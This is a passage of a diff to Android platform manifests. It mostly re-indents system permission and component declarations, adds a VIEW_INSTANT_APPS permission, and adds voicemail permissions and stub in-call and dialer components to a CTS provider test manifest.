-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
          keyguard widget
          @hide -->
     <permission android:name="android.permission.BIND_KEYGUARD_APPWIDGET"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Internal permission allowing an application to query/set which
          applications can bind AppWidgets.
          @hide -->
     <permission android:name="android.permission.MODIFY_APPWIDGET_BIND_PERMISSIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows applications to change the background data setting.
     <p>Not for use by third-party applications.
          @hide pending API council -->
     <permission android:name="android.permission.CHANGE_BACKGROUND_DATA_SETTING"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi This permission can be used on content providers to allow the global
          search system to access their data.  Typically it used when the
@@ -2979,7 +2979,7 @@
          it is used by applications to protect themselves from everyone else
          besides global search. -->
     <permission android:name="android.permission.GLOBAL_SEARCH"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Internal permission protecting access to the global search
          system: ensures that only the system can access the provider
@@ -2989,33 +2989,33 @@
          ranking).
          @hide -->
     <permission android:name="android.permission.GLOBAL_SEARCH_CONTROL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Internal permission to allows an application to read indexable data.
         @hide -->
     <permission android:name="android.permission.READ_SEARCH_INDEXABLES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to set a live wallpaper.
          @hide XXX Change to signature once the picker is moved to its
          own apk as Ghod Intended. -->
     <permission android:name="android.permission.SET_WALLPAPER_COMPONENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to read dream settings and dream state.
          @hide -->
     <permission android:name="android.permission.READ_DREAM_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows applications to write dream settings, and start or stop dreaming.
          @hide -->
     <permission android:name="android.permission.WRITE_DREAM_STATE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allow an application to read and write the cache partition.
          @hide -->
     <permission android:name="android.permission.ACCESS_CACHE_FILESYSTEM"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by default container service so that only
          the system can bind to it and use it to copy
@@ -3023,67 +3023,67 @@
          accessible to the system.
          @hide -->
     <permission android:name="android.permission.COPY_PROTECTED_DATA"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Internal permission protecting access to the encryption methods
         @hide
     -->
     <permission android:name="android.permission.CRYPT_KEEPER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to read historical network usage for
          specific networks and applications. @hide -->
     <permission android:name="android.permission.READ_NETWORK_USAGE_HISTORY"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to manage network policies (such as warning and disable
          limits) and to define application-specific rules. @hide -->
     <permission android:name="android.permission.MANAGE_NETWORK_POLICY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
          by system services like download manager and media server. Not for use by
          third party apps. @hide -->
     <permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- C2DM permission.
          @hide Used internally.
      -->
     <permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
-                android:protectionLevel="signature" />
+          android:protectionLevel="signature" />
     <uses-permission android:name="android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"/>
 
     <!-- @SystemApi @hide Package verifier needs to have this permission before the PackageManager will
          trust it to verify packages.
     -->
     <permission android:name="android.permission.PACKAGE_VERIFICATION_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by package verifier receiver, to ensure that only the
          system can interact with it.
          @hide
     -->
     <permission android:name="android.permission.BIND_PACKAGE_VERIFIER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Intent filter verifier needs to have this permission before the
          PackageManager will trust it to verify intent filters.
     -->
     <permission android:name="android.permission.INTENT_FILTER_VERIFICATION_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by intent filter verifier receiver, to ensure that only the
          system can interact with it.
          @hide
     -->
     <permission android:name="android.permission.BIND_INTENT_FILTER_VERIFIER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows applications to access serial ports via the SerialManager.
          @hide -->
     <permission android:name="android.permission.SERIAL_PORT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the holder to access content providers from outside an ApplicationThread.
          This permission is enforced by the ActivityManagerService on the corresponding APIs,
@@ -3092,27 +3092,27 @@
          @hide
     -->
     <permission android:name="android.permission.ACCESS_CONTENT_PROVIDERS_EXTERNALLY"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to hold an UpdateLock, recommending that a headless
          OTA reboot *not* occur while the lock is held.
          @hide -->
     <permission android:name="android.permission.UPDATE_LOCK"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to read the current set of notifications, including
          any metadata and intents attached.
          @hide -->
     <permission android:name="android.permission.ACCESS_NOTIFICATIONS"
-                android:protectionLevel="signature|privileged|appop" />
+        android:protectionLevel="signature|privileged|appop" />
 
     <!-- Marker permission for applications that wish to access notification policy.
          <p>Protection level: normal
     -->
     <permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"
-                android:description="@string/permdesc_access_notification_policy"
-                android:label="@string/permlab_access_notification_policy"
-                android:protectionLevel="normal" />
+        android:description="@string/permdesc_access_notification_policy"
+        android:label="@string/permlab_access_notification_policy"
+        android:protectionLevel="normal" />
 
     <!-- Allows modification of do not disturb rules and policies. Only allowed for system
         processes.
@@ -3123,42 +3123,42 @@
     <!-- Allows access to keyguard secure storage.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows managing (adding, removing) fingerprint templates. Reserved for the system. @hide -->
     <permission android:name="android.permission.MANAGE_FINGERPRINT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an app to reset fingerprint attempt counter. Reserved for the system. @hide -->
     <permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to control keyguard.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.CONTROL_KEYGUARD"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an application to listen to trust changes.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.TRUST_LISTENER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to provide a trust agent.
          @hide For security reasons, this is a platform-only permission. -->
     <permission android:name="android.permission.PROVIDE_TRUST_AGENT"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to launch the trust agent settings activity.
         @hide -->
     <permission android:name="android.permission.LAUNCH_TRUST_AGENT_SETTINGS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Must be required by an {@link
         android.service.trust.TrustAgentService},
         to ensure that only the system can bind to it.
         @hide -->
     <permission android:name="android.permission.BIND_TRUST_AGENT"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link
          android.service.notification.NotificationListenerService},
@@ -3166,7 +3166,7 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by an {@link
          android.service.notification.NotificationAssistantService} to ensure that only the system
@@ -3175,7 +3175,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_NOTIFICATION_ASSISTANT_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link
          android.service.chooser.ChooserTargetService}, to ensure that
@@ -3183,7 +3183,7 @@
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_CHOOSER_TARGET_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be held by services that extend
          {@link android.service.resolver.ResolverRankerService}.
@@ -3200,7 +3200,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_RESOLVER_RANKER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by a {@link
          android.service.notification.ConditionProviderService},
@@ -3208,14 +3208,14 @@
          <p>Protection level: signature
          -->
     <permission android:name="android.permission.BIND_CONDITION_PROVIDER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.service.dreams.DreamService},
          to ensure that only the system can bind to it.
          <p>Protection level: signature
     -->
     <permission android:name="android.permission.BIND_DREAM_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by an {@link android.app.usage.CacheQuotaService} to ensure that only the
          system can bind to it.
@@ -3228,44 +3228,44 @@
          carrier setup application to enforce that this permission is required
          @hide This is not a third-party API (intended for OEMs and system apps). -->
     <permission android:name="android.permission.INVOKE_CARRIER_SETUP"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to listen for network condition observations.
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.ACCESS_NETWORK_CONDITIONS"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to provision and access DRM certificates
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.ACCESS_DRM_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Api Allows an application to manage media projection sessions.
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.MANAGE_MEDIA_PROJECTION"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to read install sessions
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.READ_INSTALL_SESSIONS"
-                android:label="@string/permlab_readInstallSessions"
-                android:description="@string/permdesc_readInstallSessions"
-                android:protectionLevel="normal"/>
+        android:label="@string/permlab_readInstallSessions"
+        android:description="@string/permdesc_readInstallSessions"
+        android:protectionLevel="normal"/>
 
     <!-- @SystemApi Allows an application to remove DRM certificates
          @hide This is not a third-party API (intended for system apps). -->
     <permission android:name="android.permission.REMOVE_DRM_CERTIFICATES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @deprecated Use {@link android.Manifest.permission#BIND_CARRIER_SERVICES} instead -->
     <permission android:name="android.permission.BIND_CARRIER_MESSAGING_SERVICE"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to interact with the currently active
          {@link android.service.voice.VoiceInteractionService}.
          @hide -->
     <permission android:name="android.permission.ACCESS_VOICE_INTERACTION_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- The system process that is allowed to bind to services in carrier apps will
          have this permission. Carrier apps should use this permission to protect
@@ -3273,9 +3273,9 @@
          <p>Protection level: system|signature
     -->
     <permission android:name="android.permission.BIND_CARRIER_SERVICES"
-                android:label="@string/permlab_bindCarrierServices"
-                android:description="@string/permdesc_bindCarrierServices"
-                android:protectionLevel="signature|privileged" />
+        android:label="@string/permlab_bindCarrierServices"
+        android:description="@string/permdesc_bindCarrierServices"
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to query whether DO_NOT_ASK_CREDENTIALS_ON_BOOT
          flag is set.
@@ -3317,11 +3317,15 @@
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
 
-
-    <!-- Allows the holder to access the instant applications on the device.
+    <!-- Allows the holder to access and manage instant applications on the device.
     @hide -->
     <permission android:name="android.permission.ACCESS_INSTANT_APPS"
-                android:protectionLevel="signature|installer|verifier" />
+            android:protectionLevel="signature|installer|verifier" />
+
+    <!-- Allows the holder to view the instant applications on the device.
+    @hide -->
+    <permission android:name="android.permission.VIEW_INSTANT_APPS"
+            android:protectionLevel="signature|preinstalled" />
 
     <!-- Allows receiving the usage of media resource e.g. video/audio codec and
          graphic memory.
@@ -3333,7 +3337,7 @@
          APIs given by {@link SoundTriggerManager}.
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_SOUND_TRIGGER"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows trusted applications to dispatch managed provisioning message to Managed
          Provisioning app. If requesting app does not have permission, it will be ignored.
@@ -3357,24 +3361,24 @@
          the system can bind to it.
          <p>Protection level: signature -->
     <permission android:name="android.permission.BIND_VR_LISTENER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Must be required by system apps when accessing restricted VR APIs.
          @hide
          @SystemApi
          <p>Protection level: signature -->
     <permission android:name="android.permission.RESTRICTED_VR_ACCESS"
-                android:protectionLevel="signature|preinstalled" />
+        android:protectionLevel="signature|preinstalled" />
 
     <!-- Required to make calls to {@link android.service.vr.IVrManager}.
          @hide -->
     <permission android:name="android.permission.ACCESS_VR_MANAGER"
-                android:protectionLevel="signature" />
+            android:protectionLevel="signature" />
 
     <!-- Allows an application to whitelist tasks during lock task mode
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
-                android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup" />
 
     <!-- @SystemApi Allows an application to replace the app name displayed alongside notifications
          in the N-release and later.
@@ -3390,7 +3394,7 @@
     <!-- @SystemApi Allows an application to manage auto-fill sessions.
          @hide  <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.MANAGE_AUTO_FILL"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- Allows an app to set the theme overlay in /vendor/overlay
          being used.
@@ -3400,7 +3404,7 @@
 
     <!-- Allows an instant app to create foreground services. -->
     <permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
-                android:protectionLevel="signature|development|ephemeral|appop" />
+        android:protectionLevel="signature|development|ephemeral|appop" />
 
     <application android:process="system"
                  android:persistent="true"
@@ -3415,14 +3419,14 @@
                  android:defaultToDeviceProtectedStorage="true"
                  android:directBootAware="true">
         <activity android:name="com.android.internal.app.ChooserActivity"
-                  android:theme="@style/Theme.DeviceDefault.Resolver"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:excludeFromRecents="true"
-                  android:documentLaunchMode="never"
-                  android:relinquishTaskIdentity="true"
-                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:theme="@style/Theme.DeviceDefault.Resolver"
+                android:finishOnCloseSystemDialogs="true"
+                android:excludeFromRecents="true"
+                android:documentLaunchMode="never"
+                android:relinquishTaskIdentity="true"
+                android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
             <intent-filter>
                 <action android:name="android.intent.action.CHOOSER" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3445,106 +3449,106 @@
             </intent-filter>
         </activity>
         <activity android:name="com.android.internal.app.IntentForwarderActivity"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true"
-                  android:label="@string/user_owner_label"
-                  android:exported="true"
-        >
+                android:finishOnCloseSystemDialogs="true"
+                android:theme="@style/Theme.NoDisplay"
+                android:excludeFromRecents="true"
+                android:label="@string/user_owner_label"
+                android:exported="true"
+                >
         </activity>
         <activity-alias android:name="com.android.internal.app.ForwardIntentToParent"
-                        android:targetActivity="com.android.internal.app.IntentForwarderActivity"
-                        android:exported="true"
-                        android:label="@string/user_owner_label">
+                android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+                android:exported="true"
+                android:label="@string/user_owner_label">
         </activity-alias>
         <activity-alias android:name="com.android.internal.app.ForwardIntentToManagedProfile"
-                        android:targetActivity="com.android.internal.app.IntentForwarderActivity"
-                        android:icon="@drawable/ic_corp_icon"
-                        android:exported="true"
-                        android:label="@string/managed_profile_label">
+                android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+                android:icon="@drawable/ic_corp_icon"
+                android:exported="true"
+                android:label="@string/managed_profile_label">
         </activity-alias>
         <activity android:name="com.android.internal.app.HeavyWeightSwitcherActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/heavy_weight_switcher_title"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/heavy_weight_switcher_title"
+                android:finishOnCloseSystemDialogs="true"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.PlatLogoActivity"
-                  android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
-                  android:configChanges="orientation|keyboardHidden"
-                  android:process=":ui">
+                android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
+                android:configChanges="orientation|keyboardHidden"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.DisableCarModeActivity"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.NoDisplay"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <activity android:name="com.android.internal.app.DumpHeapActivity"
-                  android:theme="@style/Theme.Translucent.NoTitleBar"
-                  android:label="@string/dump_heap_title"
-                  android:finishOnCloseSystemDialogs="true"
-                  android:noHistory="true"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.Translucent.NoTitleBar"
+                android:label="@string/dump_heap_title"
+                android:finishOnCloseSystemDialogs="true"
+                android:noHistory="true"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
         <provider android:name="com.android.server.am.DumpHeapProvider"
-                  android:authorities="com.android.server.heapdump"
-                  android:grantUriPermissions="true"
-                  android:multiprocess="false"
-                  android:singleUser="true" />
+                android:authorities="com.android.server.heapdump"
+                android:grantUriPermissions="true"
+                android:multiprocess="false"
+                android:singleUser="true" />
 
         <activity android:name="android.accounts.ChooseAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.ChooseTypeAndAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.ChooseAccountTypeActivity"
-                  android:excludeFromRecents="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/choose_account_label"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+                android:label="@string/choose_account_label"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.accounts.CantAddAccountActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
-                  android:process=":ui">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
+                android:process=":ui">
         </activity>
 
         <activity android:name="android.accounts.GrantCredentialsPermissionActivity"
-                  android:excludeFromRecents="true"
-                  android:exported="true"
-                  android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
-                  android:process=":ui"
-                  android:visibleToInstantApps="true">
+                android:excludeFromRecents="true"
+                android:exported="true"
+                android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
+                android:process=":ui"
+                android:visibleToInstantApps="true">
         </activity>
 
         <activity android:name="android.content.SyncActivityTooManyDeletes"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog"
-                  android:label="@string/sync_too_many_deletes"
-                  android:process=":ui">
+               android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+               android:label="@string/sync_too_many_deletes"
+               android:process=":ui">
         </activity>
 
         <activity android:name="com.android.internal.app.ShutdownActivity"
-                  android:permission="android.permission.SHUTDOWN"
-                  android:theme="@style/Theme.NoDisplay"
-                  android:excludeFromRecents="true">
+            android:permission="android.permission.SHUTDOWN"
+            android:theme="@style/Theme.NoDisplay"
+            android:excludeFromRecents="true">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.REQUEST_SHUTDOWN" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3556,9 +3560,9 @@
         </activity>
 
         <activity android:name="com.android.internal.app.NetInitiatedActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
 
         <activity android:name="com.android.internal.app.SystemUserHomeActivity"
@@ -3575,9 +3579,9 @@
         <!-- Activity to prompt user if it's ok to create a new user sandbox for a
              specified account. -->
         <activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
-                  android:excludeFromRecents="true"
-                  android:process=":ui"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
+                android:excludeFromRecents="true"
+                android:process=":ui"
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
             <intent-filter android:priority="1000">
                 <action android:name="android.os.action.CREATE_USER" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3585,9 +3589,9 @@
         </activity>
 
         <activity android:name="com.android.internal.app.UnlaunchableAppActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
-                  android:excludeFromRecents="true"
-                  android:process=":ui">
+                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:excludeFromRecents="true"
+                android:process=":ui">
         </activity>
 
         <activity android:name="com.android.settings.notification.NotificationAccessConfirmationActivity"
@@ -3596,14 +3600,14 @@
         </activity>
 
         <receiver android:name="com.android.server.BootReceiver"
-                  android:systemUserOnly="true">
+                android:systemUserOnly="true">
             <intent-filter android:priority="1000">
                 <action android:name="android.intent.action.BOOT_COMPLETED" />
             </intent-filter>
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertPinInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_PINS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3611,7 +3615,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.IntentFirewallInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_INTENT_FIREWALL" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3619,7 +3623,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmsShortCodesInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMS_SHORT_CODES" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3627,7 +3631,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.ApnDbInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="com.android.internal.intent.action.UPDATE_APN_DB" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3635,7 +3639,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CarrierProvisioningUrlsInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CARRIER_PROVISIONING_URLS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3643,7 +3647,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.TzDataInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_TZDATA" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3651,7 +3655,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_CT_LOGS" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3659,7 +3663,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.LangIdInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_LANG_ID" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3667,7 +3671,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.updates.SmartSelectionInstallReceiver"
-                  android:permission="android.permission.UPDATE_CONFIG">
+                android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
                 <action android:name="android.intent.action.UPDATE_SMART_SELECTION" />
                 <data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3675,7 +3679,7 @@
         </receiver>
 
         <receiver android:name="com.android.server.MasterClearReceiver"
-                  android:permission="android.permission.MASTER_CLEAR">
+            android:permission="android.permission.MASTER_CLEAR">
             <intent-filter
                     android:priority="100" >
                 <!-- For Checkin, Settings, etc.: action=FACTORY_RESET -->
@@ -3691,12 +3695,12 @@
         </receiver>
 
         <service android:name="android.hardware.location.GeofenceHardwareService"
-                 android:permission="android.permission.LOCATION_HARDWARE"
-                 android:exported="false" />
+            android:permission="android.permission.LOCATION_HARDWARE"
+            android:exported="false" />
 
         <service android:name="com.android.internal.backup.LocalTransportService"
-                 android:permission="android.permission.CONFIRM_FULL_BACKUP"
-                 android:exported="false">
+                android:permission="android.permission.CONFIRM_FULL_BACKUP"
+                android:exported="false">
             <intent-filter>
                 <action android:name="android.backup.TRANSPORT_HOST" />
             </intent-filter>
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 284841b..380ddd0 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -33,6 +33,8 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+    <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL" />
+    <uses-permission android:name="com.android.voicemail.permission.READ_VOICEMAIL" />
     <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
     <uses-permission android:name="android.permission.WRITE_CONTACTS" />
     <uses-permission android:name="android.permission.READ_CALL_LOG" />
@@ -94,6 +96,27 @@
                   android:exported="false"
                   android:multiprocess="true" />
 
+        <service
+            android:name="android.provider.cts.contacts.StubInCallService"
+            android:permission="android.permission.BIND_INCALL_SERVICE">
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data
+                android:name="android.telecom.IN_CALL_SERVICE_UI"
+                android:value="true"/>
+        </service>
+
+        <activity android:name="android.provider.cts.contacts.StubDialerActivity">
+            <intent-filter>
